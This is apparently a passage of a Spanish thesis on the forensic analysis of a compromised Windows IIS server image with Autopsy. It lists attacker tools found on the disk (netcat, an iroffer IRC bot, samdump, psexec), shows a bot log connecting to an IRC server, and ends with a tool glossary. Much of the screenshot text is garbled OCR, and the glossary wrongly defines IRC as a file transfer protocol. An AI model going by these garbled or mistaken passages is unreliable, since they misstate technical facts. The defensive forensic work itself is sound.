@ @ @9@ - TR T R ) R ta /\( Sat Aug 18, 112 PM
I SEL &1 O [2cm oerecra

Figura 6.- Imagen agregada para el analisis



Una vez agregada la imagen forense se realiza un MD5sum para
comprobacién de la integridad de los datos del disco proporcionado para
analizar; asi se verifica si algun archivo sufrié algiin cambio como se muestra

en las figuras 5 y 6.

=7 caine [Corrienda] - Oracle VM VirtualBox " E=HEsn "]

B —

Maquina Ver Dispositivos  Ayuda

Colleching detailstoninenwimage hiles=Mowilla Eiretox:

Eile Edit View History Bookmarks Tools Help

| (‘4] - g @ |ﬂb http://localhost:9999/autopsy ?mod=0&view=14&hos V| ‘-‘Iv @

{iyAutopsy localhost (@] caine-live.net [@] CFI - Computer For... % CRIS ¢ The Sleuth Kit & Au... [g|Unimo

|ﬂ& Collecting details on new image...| E ] ~

| Image File Details

Local Name: images/JBRWWW.cleansed.dd

| Data Integrity: An MD5 hash can be used to verify the integrity of the image. (With split
images, this hash is for the full image file)

® Ignore the hash value for this image.
) Calculate the hash value for this image.
' Add the following MD5 hash value for this image:

O Verify hash after importing?

| File System Details

Analysis of the image file shows the following partitions:

Partition 1 (Type: NTFS (0x07))
Sector Ranae: 63 to 8401994 b |

Done

@ E| @ g @E |E||E”E”E| E‘Wired‘rjetwurk cunnact_iun 'Auto etho' acg;‘e
@ L &[] @ [E o erecHa

Figura 7.- MD5sum



AddiaTnewiimage toran Autopsy Case = Mozl aTEirefox

File Edit View History Bookmarks Tools Help
* g ~ e @ Q "|http:,‘ﬂocaIhost:9999{3utopsy?mod:()&view:ls&img VI ’-:]V‘Google
W CRIS iy The Sleuth Kit & Au... [e]Unimo

{ify Autopsy localhost (@] caine-live.net |@| CFI - Computer For...

iy Add a new image to an Autopsy... | 55

Done
- P  — — —
© E@ VBT &= oshosesiomresaliy 1= N swaus e 1070w

QAFPIL @ EBlcmomecn

Figura 8.- Resultado del MD5sum

Finalizada la comprobacion, se analiza la imagen forense. Como vemos en la
figura 7, se muestran dos particiones del disco; una es la unidad C:\ en

donde vamos a realizar la busqueda de informacion de los log’'s mas

importantes que detallaran la filtracion del atacante.



':f caine [Corriendo] - Oracle V';i Vinu;IBox

| Maquina Ver Dispositivos Ayuda
‘Open image In banco: Mozilla“Firefox:
File Edit View History Bookmarks Tools Help
I 4] v e’] |& http://localhost:9999/autopsy ?mod=0&view=16&cas V| |r']v ] @,
> Autopsy localhost [@]caine-live.net [g] CFI- Computer For... % CRIS {@& The Sleuth Kit & Au... [@|Unimo
’7@ Open Image In banco:hostl 1 L] N
Case: banco
Host: host1
Select a volume to analyze or add a new image file.
: CASE GALLERY 2 HOST GALLERY J HOST MANAGER
mount  name fs type :
@ disk JBRWWW. cleansed.dd-disk raw details
@ (i JBRWWW. cleansed.dd-63-8401994 ntfs details
ANALYZE ADD IMAGE FILE CLoSE HosT
HELP
|
FILE ACTIVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
VIEW NOTES J EVENT SEQUENCER
Done
| ) > e C No Items in Trash
@ ‘!Ie : @_@ ‘u H = HD Ho‘ Bl e /e’ Sat Aug 1gNo Items in r?:_
£ ®P1!| @ [8)cTrLDERECHA

Figura 9.- Particiones de

En la pantalla (figura 8) se muestran todos los archivos de la unidad C:\,

podemos buscar tanto en los directorios ¢

o log encontrado nos generara un reporte, el cual nos ayuda a realizar un

analisis detallado manual y evitar confusiones al momento de dar una

respuesta al caso otorgado.

laimagen forense

omo en los archivos. Cada archivo
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Enter a Perl regular rir $Bitmap 2003-08-23 2003-08-23 2003-08-23 2003-08-23 1
qxpvession for the 07:14:09 (ECT) 07:14:09 (ECT) 07:14:09 (ECT) 07:14:09 (ECT)

‘ file names you want rir  $Boot 2003-08-23 2003-08-23 2003-08-23 2003-08-23 €
to find. 07:14:09 (ECT) 07:14:09 (ECT) 07:14:09 (ECT) 07:14:09 (ECT)
P — Extend -08- -08- -08- -08- &
| ; j_dMMﬂ_W_Z?OS 08-23  2003- 0,8,23,‘{

| £l

} SEARCH

} File Browsing Mode
ALLDELETEDFILES I~
__EXPAND | E —
| " | In this mode. vou can view file and directorv contents. &4
Done

OEEl WB=E =/ [o] FE s einem o
) @ @ 1 {71 | (8 [$1cTRLDERECHA

Figura 10.- Archivos de la particion C:\

Empezamos buscando los logs referentes a los ataques realizados a la
magquina afectada de los dias 9 de septiembre y 1 de octubre del servicio IIS
(figura 9); estos logs nos mostraran informacion como la IP del usuario que
realiza la peticidn, el usuario, clave, la fecha de la peticion, el nombre y ruta
del archivo de peticion, el ID de contestacién, nUmero de bytes enviados, la
pagina desde la que se pide el archivo y por ultimo la informacion del

navegador o terminal del usuario.



File Edit View History Bookmarks Tools Help

« v € ﬁ & httpy/localhost:9999/autopsy?mod=1&submod=2&case=Tesis-JB! &host=host1&ir I=vol2 V| g

@ Autopsy localhost (@) caine-live.net [§) CFI- Computer For... %CRIS g The Sleuth Kit & Au... (6 Unimo

{ Tesis-JBWWW:host1:vol2 & v
FrLETYPE 'META DATA DATA UNIT Hn.F CLose
O\ H X
Directory Seek j 18:36:49 (ECT) 18:36:49 (ECT) 18:36:49 (ECT) 18:25:09 (ECT)
v rl- mybot.pid 0000-00-00 0000-00-00 0000-00-00 0000-00-00 0 0 0 0
Enter the name of a 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC)
directory that you want v r/-  mybot.xdcc 0000-00-00 0000-00-00 0000-00-00 0000-00-00 0 0 0 0
to view. 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC)
F:/ rir mybot.xdcc 2003-10-01 2003-10-01 2003-10-01 2003-10-01 49 0 0 8112-128-1
| WINNT/system32/os2/dll 21:26:23 (ECT) 21:26:23 (ECT) 21:26:23 (ECT) 21:26:23 (ECT)
“ rl- mybot .xdcc.bkup  0000-00-00 0000-00-00 0000-00-00 0000-00-00 0 0 0 0
ViEw. 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC) 00:00:00 (UTC)
R rir  mybot.xdcc.bkup 2003-10-01 2003-10-01 2003-10-01 2003-10-01 49 0 0 8123-128-1
File Name Search 20:56:22 (ECT) 20:56:22 (ECT) 21:26:23 (ECT) 20:56:22 (ECT)
* rir mybot.xdcc.tmp  2003-10-01 2003-10-01 2003-10-01 2003-10-01 49 0 0 8123-128-1
Enter a Perl regular 20:56:22 (ECT) 20:56:22 (ECT) 21:26:23 (ECT) 20:56:22 (ECT) (realloc)
expression for the file —
names you want to find. ASCIl (display - report) * Hex (cisplay - report) * ASCII Strings (display - report) * Export * Add Note

File Type: PE32 executable for MS Windows (console) Intel 80386
{ex031001

ASCIT String Contents Of File: C:/WINNT/systen32/0s2/d11/iroffer.exe

Search
ALLDELETEDFLES 1This progran cannot be run in DOS sode
Jtext
data
Exrasn DwecroRes, rdata
bss
idata
.stab
Sfmstabsts "
>
Done

° ! - (‘\’EJE ii :@: [ USA Wed Aug 29, 4:21PM

80PS0 @Blomomn

Figura 11.- Log de IIS, 9 septiembre y 1 Octubre 2010

Realizada esta accion empezamos a buscar todos los logs ya mencionados
en la tabla 3, que anteriormente fueron marcados como sospechosos en
nuestro analisis forense, asi como se muestran en las siguientes imagenes.
Con todos estos logs podemos dar una respuesta final a nuestro caso y

concluir que si se produjo una filtracion en la maquina analizada.

Tabla 4.- Los Binarios sospechosos transferidos desde JBRWWW.

File Name
c:\WINNT\system32\os2\dll\nc.exe
c:\WINNT\system32\os2\dI\Configure
C:\WINNT\system32\0s2\dINCOPYING
c:\WINNT\system32\os2\dll\cygregex.dll
c:\WINNT\system32\os2\dll\cygwin1.dll
c:\WINNT\system32\os2\dll\iroffer.cron
c:\WINNT\system32\os2\dI\iroffer.exe




c:\WINNT\system32\PSEXESVC.EXE
c:\WINNT\system32\os2\dll\Makefile.config
c:\WINNT\system32\os2\dI\mybot.ignl
c:\WINNT\system32\os2\dll\mybot.ignl.bkup
c:\WINNT\system32\os2\dI\mybot.ignl.tmp
c:\WINNT\system32\os2\dI\mybot.log
c:\WINNT\system32\os2\dI\mybot.msg
c:\WINNT\system32\os2\dI\mybot.pid
c:\WINNT\system32\os2\dI\myconfig
c:\WINNT\system32\os2\dI\README
c:\WINNT\system32\os2\dl\sample.config
C:\WINNT\system32\os2\dI\WHATSNEW
c:\update.exe
c:\WINNT\system32\os2\dl\update.exe
c:\WINNT\system32\os2\dll\setup.exe
c:\WINNT\system32\os2\dI\samdump.dll
c:\WINNT\system32\os2\dll\temp.txt
c:\WINNT\system32\os2\dI\mybot.xdcc.bkup
c:\WINNT\system32\os2\dI\mybot.xdcc
c:\WINNT\system32\os2\dll\mybot.xdcc.txt
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File Edit View History Bookmarks Tools Help

<« ~ & @ & [@]hapyiocalhost99gs/autopsy?mod=1asubmod=2&case=Tesis-| v | [~ | @
&+ Autopsy localhost  [g)caine-live.net CFI - Computer For... % CRIS ¢ The Sleuth Kit & Au... [€|Unimo
* Loading... | = ~
FILE ANALYSIS  KEYWORDSEARCH FILETYPE IMAGE DETALS META DATA DaTA UNIT HELP ClLOSE
I
| All files with 'iroffer.exe’ in the name
Enter the name of a
directory that you || sHowALLFues
want to view.
TS e WerrTen Size
dir/in
e rir C: /WINNT 2003-07-06 2003-10-01 2003-10-01 2003-10-01 2133
- /system32 20:46:22 (ECT) 18:25:00 (ECT) 18:25:09 (ECT) 18:25:08 (ECT)
/os2/d1ll
File Name Search /iroffer.exe
Enter a Perl regular I m 1 D
expression for the 1 N
file names you want |~ ASCII (display - report) * Hex (di - report) * ASCII Strings (display - report) * Export * Add Note
to find. File Type: PE32 utable for MS Windows (console) Intel 80386

[iofferexe | e of File: Ci MINNT /systen32/os2/d11/iroffer. exe

SEARCH
00000000:  4D5A 9000 0300 0000 0400 0000 FFFF 0000  MZ
00000010: BSO0 0000 GO0 0000 4000 0000 GO0 G000  ........ @
00000020:  0OOC 0000 OGO G000 00CO 0000 6000 G000 ..
QALLDELETED EiLEg 00000030: 0000 0000 GO0 G000 0000 0009 8000 G000 ..
00000040: OELF BAQE 00B4 0SCD 21B8 014C CD2L 5468  ........ [
EXPAND D1 000000S0: 6573 2070 726F 6772 616D 2063 616E GEGF  is program canno
B 7420 6265 2072 756E 2069 GE20 444F 5320  t be rum in DOS
[ coooee7e: 6DEF 6465 2EGD GDOA 2400 0000 G800 0000  mode....§ .
I m I [>] 5045 0000 4CO1 8700 EDDO 083F 0OCE 0200  PE..L.... -
Transferring data from localhost... | ——

Sl ®mE = = [e d

80O Z& )L} @ [2lcmioerecha

Figura 12.- Log del archivo “irroffer.exe”

Jesiss BWWW HOSTT:V0I2 = Mozilla Firefox:
File Edit View History Bookmarks Tools Help

¢I v g Q ‘ﬁ\http://localhost:9999/autopsy7mod=1&5ubmod=2&case=Tesis—J VI |:"V\ yogle

> Autopsy localhost (@] caine-live.net [@) CFI- Computer For... # CRIS ¢ The Sleuth Kit & Au... [@]Unimo

@ Tesis-JBWWW:host1:vol2 | ik ~

FILE ANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETAILS = METADATA DATA UNIT HeEre  Crose

2 X

| All files with "iroffer.cron’in the name
Enter the name of a

directory that you ||| sHowALLFues
want to view. -
C:/
o Pe e WRITTEN c Size
dir/in Il
= rir C: /WINNT 2003-07-06 2003-10-01 2003-10-01 2003-10-01 902
SE, /system32 20:46:22 (ECT) (ECT) (ECT) (ECT) |
/0s2/d11 i
File Name Search /iroffer.cron |
Enter a Perl regular I m I ol
expression for the A
file names you want |~ ASCII (display - report) * Hex (display - report) * ASCII Strings (display - report) * Export * Add Note |
to find. File Type: POSIX shell script text executable i
Iroffer.cron Contents Of File: C:/WINNT/system32/0s2/d11/iroffer.cron |
SEARCH
— #1/bin/sh
# --- How To Use Cron ---
ALL DELETED FILES #
# Edit the iroffer.cron file's iroffer_dir, iroffer_exec, and
EXPAND Dit # iroffer_pid variables
1| =
—_— # then crontab -e and place the following line in the editor |
T | # &
Done |
-

USA Wed Aug 29, 4:26 PM
2 & &P ) )| B [B)cTRLDERECHA

Ol emE (a[=]e]]

Figura 13.- Log del archivo “irroffer.cron”
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Jesis= BWWW Host1:vol2 = Mozilla Firefox £
File Edit View History Bookmarks Tools Help

@ v e‘ ﬁ I&ihttp:lllocalhost:9999/autopsy?mod=l&submod=2&case=Tesis-J VI H\IV{ oogle
&y Autopsy localhost [@)caine-live.net [@] CFI- Computer For... % CRIS ¢y The Sleuth Kit & Au... [¢|Unimo i
{8y Tesis-JBWWW:host1:vol2 | 4 v
FILEANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETALS METADATA DATAUNIT = HELP CLOSE
21 X ]
All files with ‘'mybot . log’ in the name
Enter the name of a = o
directory that you || sHowALLFiLES
want to view.
(e
Type
DEL dir/in NAME WRITTEN ACCESSED CHANGED CREATED Size |
|
ViEW: r/r  C:/WINNT  2003-10-01 2003-10-01 2003-10-01 2003-10-01 25774 ||
— /sxst:_ﬁ? 21:46:22 (ECT) 21:46:22 (ECT) 21:46:22 (ECT) 18:25:09 (ECT) |
/052/
File Name Search /mybot.log !
I
Enter a Perl regular [ u 1 B
expression for the ) = i
file names you want |~ ASCII (display - report) * Hex (display - report) * ASCII Strings (display - report) * E i
to find. File Type: ASCII text {
mybot.log ASCII String Contents Of File: C:/WINNT/systen32/0s2/dll/mybot.log :
SEARCH
** : iroffer started v1.2b19 [July 6th, 2003]
** 26: WARNING: Empty XDCC File, Starting With No Packs Offered
ALLDELETEDFILES) * : Writing pid file...
** : Attempting Connection to 65.77.140.140 6667 (direct)
EXPAND D ** : Server Connection Established, Logging In
L »* : Closing Server Connection: Closed
ﬁ *l* i iroffer exited I | ]"
n > " >

http://localhost:9999/autopsy?mod=2&view=11&&case=Tesis-|BWWW&host=host1&nv=unknown&vol=vol2&dir=WINNT/system...

OEM MG LLLL] @~ wmmoee ]

DY - A=iu] @chLDEP.E:Al

Jesiss BWWW Host1:vol2 = Mozilla Firefox

File Edit View History Bookmarks Tools Help
@ ~ é @ [Qy http://localhost:9999/autopsy?mod=1&submod=2&case=Tesis-) v | [#v |Google
@y Autopsy localhost [g]caine-live.net [g] CFI- Computer For... % CRIS @ The Sleuth Kit & Au... [@]Unimo l
& Tesis-JBWWW:host1:vol2 | & v
FILE ANALYSIS ‘ngw; FILETYPE - _IMAGEDETALS META DATA y DATA UNIT . _HeELPp CLOSE
| L T e e i B
| Al files with 'makefile.config’ in the name
Enter the name of a
directory that you SHOWw ALL FILES
want to view.
C:/.
[— Type
DEL  iiin  NamE WRITTEN AcCESSED CHANGED CREATED
|
ry— r/r  C:/WINNT 2003-07-06 2003-10-01 2003-10-01 2003-10-01 f
e ZSXSt:l{IiZ 20:46:22 (ECT) 18:25:09 (ECT) 18:25:09 (ECT) 18:25:09 (ECT) ||
/052/
File Name Search /Makefile.config !
i
Enter a Perl regular I m I >
expression for the 3 =
file names you want |~ ASCII (display - report) * Hex (display - report) * ASCII Strings (display - report) * Export
to find. File Type: ASCII make commands text, with CRLF line terminators
makeflle.config ASCII String Contents Of File: C:/WINNT/system32/0s2/d11/Makefile.config
SEARCH
# @(#) Makefile.config 1.66@(#)
# pmg@wellington.i202.centerclick.org|Makefile.config|20030707014031|10119
ALL DELETED FuES) VERSION = 1.2b19
TARFILE = iroffer$ (VERSION) /irofferg (VERSION).tar
EXPAND INSDIR = /usr/local/bin
| || OBJECTS =\
obj/admin.o \
Ut 2. obi/dccchat.o \
Done
< — >_ I d . 4
O @l OME [ [-[f-]-] EE s e emen d
P @1 B [B)creperecHal|

Figura 15.- Log del archivo "makefile.config”



BWWWHOSTIVOI2 =M ozilla Eirefox:

File Edit View History Bookmarks

Tools Help

to find.

whatsnew

File Type: ASCII English text, with CRLF line terminators

< vy @ @ [ @ | http://localhost:9999/autopsy ?mod=1&submod=2&case=Tesis-}) v] IT:'V |e
f&yAutopsy localhost [@]caine-live.net [@] CFI- Computer For... % CRIS @ The Sleuth Kit & Au... [@]Unimo |
@ Tesis-]JBWWW:host1:vol2 | = ~
FILE ANALYSIS = KEYWORD SEARCH FILETYPE . _IMAGE DETALS META DATA DATA UNIT . Here cmj
24X
| Al files with 'whatsnew’ in the name
Enter the name of a
directory that you || sHowALLFues
want to view.
CiL =
ype <
[ | o wrrrren e !
ViEW rir C: /WINNT 2003-11-08 2003-11-08 2003-11-08 1999-12-07 I
e /Help/whatsnew.chm 17:05:05 (ECT) 17:05:05 (ECT) 17:05:05 (ECT) 07:00:00 (ECT)
File Name Search rir C:/WINNT/system32  2003-07-06 2003-10-01 2003-10-01 2003-10-01 |
Lio:ame eatc! /0s2/dU1/WHATSNEW  20:46:22 (ECT) 18:25:10 (ECT) 18:25:10 (ECT) 18:25:10 (ECT)i
Enter a Perl regular | I I >4
xpression for the . - i
file names you want |~ ASCII (display - report) * Hex (display - report) * ASCII Strings (display - report) * Export * Add Note |
I

ASCII String Contents Of File: C:/WINNT/system32/0s2/d11/WHATSNEW

SEARCH
What's New in iroffer:
version 1.2

ALLDELETED --- New in 1.2b19 --- (July 6th 2003)

- fix upload bug introduced in 1.2bl8
EXPAND Dii - add 'lognotices', configure if notice messages should be logged

| - add recognition of admin, founder and halfop used by some irc networks

e | --- New in 1.2bl8 --- (Julv Sth 2003)
1 m I ) I m I
Done

Ol e [ ,
SOPP RS chLDERECHA!

[ R

Wed Aug 29, 4:37 PM

Figura 16.- Log del archivo "whatnew"

)

TESisBWIWWIW:HOSEI:V012 = Mo Zilla Hifefox

Enter a Perl regular

File Edit View History Bookmarks Tools Help
< > & &> | @ | bttp:/iocalhost:9999/autopsy?mod=1&submod=2&case=Tesis-) v ] g
@ Autopsy localhost []caine-live.net [ CFI - Computer For... 3 CRIS ¢ The Sleuth Kit & Au... [8)Unimo I
£ Tesis-)JBWWW:host1:vol2 | == ~
FILE ANALYSIS msm FILETYPE . _IMAGE DETALS META DATA ) DATA UNIT . _HeEwe CLOSE
® el 22028
Enter the name of a SHow ALL FiLES |
directory that you B
want to view. Type
c:/ PE- girsin NAME T Esd & &
|: rir C:/update.exe 2003-10-01 2003-10-01 2003-10-01 2003-10-01
18:48:44 (ECT) 18:48:44 (ECT) 18:48:44 (ECT) 18:48:44 (ECT)
MiEW ) rir C: /WINNT 2002-02-25 2003-10-01 2003-10-01 2003-10-01
—_— /system32 14:53:04 (ECT) 18:52:44 (ECT) 18:52:44 (ECT) 18:52:44 (ECT)
File Name Search /os2/dl1l
/update.exe

Xp for the
file names you want
to find.

ASCII (display - report) * Hex (display - report) * ASCII Strings (display - report)
File Type: PE32 for MS Intel 80386 32-bit

update.exe

SEARCH
1This program cannot be run in DOS mode.
Rich

ALL DELETED et
“.rdata

ExPAND @.data

ASCII String Contents Of File: C:/WINNT/system32/0s2/d1l/update.exe

Wed Aug 29, 4:37 PM

ped o=

Figura 17.- Log del archivo "update.exe”



File Edit View History Bo Tools Help
Iﬁ E N < ] Q [‘|M\‘,"‘ alhost: psy?mod=1&submod=2&case=Tesis-] v”{'v|coogle Q]
{&»Autopsy localhost (@] caine-live.net [g] CFI - Computer For... # CRIS @y The Sleuth Kit & Au... [¢]Unimo

0000 0000 G000 6000 OO0 600G 6O0O
0000 0000 6000 600 GO0 600G 6000
0000 0000 0000 G000 GO0 6000 0000
[elclelclclelelelelelelelelelelefelcleleelclelepelelele]
0000 G000 600G 60O 0OOC 6O 0000
0000 0000 G000 600 6000 6000 6000
0000 0000 0000 G000 G000 6000 0000
0000 0000 0000 0000 OOOO G000 0000

Figura 18.- Log del archivo "netstat.exe"



GLOSARIO DE TERMINOS TECNICOS

e Caine: (Computer Aided INvestigative Environment), es una
distribucion Live CD para realizar analisis forenses informaticos.

e Autopsy: es un frontal Web que permite realizar operaciones de
andlisis forense sirviendo como interfaz grafica del popular juego de
herramientas forenses The Sleuth Kit.

e Fport: Esta aplicacién que se ejecuta a través del simbolo del sistema
nos mostrara los puertos abiertos, sean conocidos o no, y a qué
aplicacion y puerto estan apuntando.

e Pslist: sin necesidad de usar el Escritorio remoto, permite ver los
procesos remotos con gran detalle.

e Psloggedon: muestra quién ha iniciado sesién en el sistema. Puede
tratarse de inicios de sesion locales (interactivos) o de recursos
compartidos de red.

e Auditpol: Auditpol llama directamente a las API's de autorizacién para
aplicar los cambios en la directiva de auditoria granular.

e Psinfo: es una herramienta de linea de comandos que reune
informacion clave acerca del sistema Windows NT/2000 local o
remoto, por ejemplo, el tipo de instalacion, la version de kernel, el
propietario y la organizacién en registro, el nimero de procesadores y
los tipos, la cantidad de memoria fisica, la fecha de instalacion del

sistemay, si se trata de una version de prueba, la fecha de caducidad.


http://www.sleuthkit.org/autopsy/

Psfile: es una utilidad de linea de comandos que muestra una lista de
archivos de un sistema que se abren de forma remota; asi mismo,
permite cerrar los archivos abiertos tanto por nombre como por un
identificador del archivo.

Psservice:_es un visor de servicios y un controlador para Windows.
Muestra el estado, la configuracion y las dependencias de servicios, y
permite iniciarlos, detenerlos, pausarlos, reanudarlos y reiniciarlos.
pwdumpg3: Permite recuperar las hashes de passwords de Windows
localmente o a través de la red aunque syskey no esté habilitado.

IT: “"Information Technology”, esta referido a disefio, desarrollo,
instalacion y mantenimiento de sistemas basados en computadoras.
SEC: es un acrénimo de Diskreet SECure Encrypted file y pertenece a
la categoria Extension de archivo.

ACID: es un conjunto de caracteristicas o propiedades que garantizan
que las transacciones en una base de datos son fiables. En el
contexto de bases de datos, una transaccion es una unica operacion
sobre los datos.

DNA: (digital network architecture) es una arquitectura de red, creada
por DEC. Consta de siete capas semejantes a las de Modelo OSly
gue tienen una correspondencia directa con los siete niveles de OSI.
NETCAT: es una utileria para Linux y Windows que fue escrita

originalmente para sistemas Unix, Berkeley y System V. Ha sido


http://www.alegsa.com.ar/Dic/acid.php
http://es.wikipedia.org/wiki/Digital_Equipment_Corporation
http://es.wikipedia.org/wiki/Modelo_OSI

llamada la Navaja Militar Suiza multiusos en virtud de la gran
versatilidad y potencia contenida en tan minimo espacio y con tan
poco codigo, realiza y acepta conexiones TCP (protocolo para el
control de transmision) y UDP (protocolos del datagrama del usuario).
TCP: Protocolo de Control de Transmision. Se trata del protocolo mas
usado de Internet.

NETBIOS: es, en sentido estricto, una especificacion de interfaz para
acceso a servicios de red, es decir, una capa de software desarrollada
para enlazar un sistema operativo de red con un hardware especifico.
PSEXEC: es una sustitucion ligera de Telnet que permite ejecutar
procesos en otros sistemas, junto con una interactividad completa
para aplicaciones de consola, sin tener que instalar manualmente
software de cliente.

NET: es un dominio de internet genérico del tipo TLD.

FTP: Protocolo de Transferencia de Archivos. En informatica, es un
protocolo de red para la transferencia de archivos entre sistemas
conectados a una red TCP (Transmission Control Protocol), basado en
la arquitectura cliente-servidor.

IRC: Protocolo de Transferencia de Archivos. En informética, es un
protocolo de red para la transferencia de archivos entre sistemas
conectados a una red TCP (Transmission Control Protocol), basado en

la arquitectura cliente-servidor


http://www.alegsa.com.ar/Dic/protocolo.php
http://www.alegsa.com.ar/Dic/internet.php
http://es.wikipedia.org/wiki/Interfaz
http://es.wikipedia.org/wiki/Red
http://es.wikipedia.org/wiki/Software
http://es.wikipedia.org/wiki/Sistema_operativo_de_red
http://es.wikipedia.org/wiki/Hardware
http://www.alegsa.com.ar/Dic/dominio.php
http://www.alegsa.com.ar/Dic/internet.php
http://www.alegsa.com.ar/Dic/tld.php

UDP: Protocolo abierto, no orientado a la conexion (como el TCP) y
por lo que no establece un dialogo previo entre las dos partes, ni
tampoco mecanismos de deteccion de errores.

[IS: es un conjunto de servicios para servidores usando Microsoft
Windows. Es especialmente usado en servidores web,

TCP/IP: es un conjunto de protocolos disefiados para las redes de
Area Amplia (WAN). El protocolo TCP/IP esta conformado por un
modelo de cuatro capas: Interface de Red, Red, Transporte y
Aplicacion

NBTSTAT: Este comando sirve para obtener informacién de equipos
remotos Windows como: nombre del host, IP, puertos, estado

ASCII: es un cbédigo numérico que representa los caracteres, usando
una escala decimal del O al 127.

ACL: Informe sobre los permisos o derechos de acceso que tiene
cada usuario sobre un objetivo determinado (como un directorio o
un archivo).

PID: es un acronimo de Process ID file (Unix)y pertenece a la
categoria Extension de archivo.

Fsstat: devuelve informacién del sistema de archivos en forma

dinAmica.


http://www.alegsa.com.ar/Dic/protocolo.php
http://www.alegsa.com.ar/Dic/tcp.php
http://www.alegsa.com.ar/Dic/servidor.php
http://www.alegsa.com.ar/Dic/windows.php
http://www.alegsa.com.ar/Dic/windows.php
http://www.alegsa.com.ar/Dic/servidor%20web.php
http://www.alegsa.com.ar/Dic/directorio.php
http://www.alegsa.com.ar/Dic/archivo.php

e shalsum: es un comando de los sistemas Unix que permite identificar
la integridad de un fichero mediante la suma de comprobacién del
hash SHA-1 de un archivo.

e Md5sum: es un programa originario de los sistemas Unix, la funcion
de hash devuelve un valor que es practicamente Unico para cada
archivo, con la particularidad que una pequefia variacion en el archivo
provoca una salida totalmente distinta, lo que ayuda a detectar si el
archivo sufrié alguna variacion. Es una herramienta de seguridad que

sirve para verificar la integridad de los datos.


http://es.wikipedia.org/wiki/Unix
http://es.wikipedia.org/wiki/Hash
http://es.wikipedia.org/wiki/Secure_Hash_Algorithm
http://es.wikipedia.org/wiki/Unix
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